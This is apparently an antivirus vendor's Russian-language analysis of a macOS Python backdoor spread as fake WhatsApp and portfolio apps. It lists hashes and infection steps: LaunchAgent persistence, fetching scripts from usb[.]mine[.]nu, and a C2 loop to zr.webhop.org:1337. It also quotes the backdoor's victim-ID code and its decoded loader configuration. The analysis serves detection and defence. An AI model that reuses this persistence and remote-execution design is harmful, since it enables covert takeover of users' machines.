- 66ecc5d96d7fbcb54cac534a16b12e918fa0f11c (WhatsAppService.app.zip; Portfolio.app.zip)
- eb369722f8c5fed739fe3ceb210115007c583280 (WhatsAppService.app/Contents/Resources/script)
- 95421226a71e9b1977a14ed03c3c0ab7ac8f6a20 (a.plist)
- 0640decb8b5511d4c36ce8a98a287e2d8d2fe375 (c.sh)
- 16b7fe4d36672664d2a4816558f01e0ee171c284 (Python.BackDoor.72)
Описание
Бэкдор для macOS, позволяющий загружать и исполнять Python-код на устройстве пользователя. Распространяется под видом портфолио через сайт usb[.]mine[.]nu, а также под видом приложения WhatsApp через message-whatsapp[.]com.
Принцип действия
Бэкдор состоит из пяти компонентов. Вредоносный код сосредоточен в файле WhatsAppService.app/Contents/Resources/script. Попав на устройство пользователя, скрипт завершает все процессы терминала, после чего загружает plist-файл по ссылке http://usb[.]mine[.]nu/a.plist в файл ~/Library/LaunchAgents/a.plist и присваивает права выполнения (+x).
Затем запускает скачанный plist через launchctl, с помощью которого при загрузке системы будет запускаться /Users/Shared/c.sh скрипт. После этого скачивает http://usb[.]mine[.]nu/c.sh в файл /Users/Shared/c.sh, присваивает права выполнения (+x) и запускает его.
При запуске c.sh делает запрос к http://usb[.]mine[.]nu/p.php и проверяет в ответе наличие строки "open". Затем проверяет среди запущенных демонов наличие демона с именем "HEYgiNb". Если строка найдена и искомый демон отсутствует, декодирует (base64) python-скрипт и запускает его.
Python-скрипт подготавливает HTTP заголовки для последующего запроса:
def get_uid():
return hexlify(getpass.getuser() + "-" + str(getnode()))
data = {
"Cookie": "session=" + b64encode(get_uid()) + "-eyJ0eXBlIjogMCwgInBheWxvYWRfb3B0aW9ucyI6IHsiaG9zdCI6ICJ6ci53ZWJob3Aub3JnIiwgInBvcnQiOiAxMzM3fSwgImxvYWRlcl9vcHRpb25zIjogeyJwYXlsb2FkX2ZpbGVuYW1lIjogInloeEp0T1MiLCAibGF1bmNoX2FnZW50X25hbWUiOiAiY29tLmFwcGxlLkhFWWdpTmIiLCAibG9hZGVyX25hbWUiOiAibGF1bmNoX2RhZW1vbiIsICJwcm9ncmFtX2RpcmVjdG9yeSI6ICJ+L0xpYnJhcnkvQ29udGFpbmVycy8uUXN4WGFtSXkifX0=",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
}
При этом часть параметра Cookie содержит параметры загрузчика:
{"type": 0, "payload_options": {"host": "zr.webhop.org", "port": 1337}, "loader_options": {"payload_filename": "yhxJtOS", "launch_agent_name": "com.apple.HEYgiNb", "loader_name": "launch_daemon", "program_directory": "~/Library/Containers/.QsxXamIy"}}
Затем скрипт отправляет HTTP запрос с подготовленными заголовками по адресу http://zr[.]webhop[.]org:1337. Если ответ приходит с кодом 404, из него извлекаются данные после "DEBUG:\n" и удаляется строка(и) "DEBUG–>". После чего скрипт декодирует base64 и запускает полученный скрипт.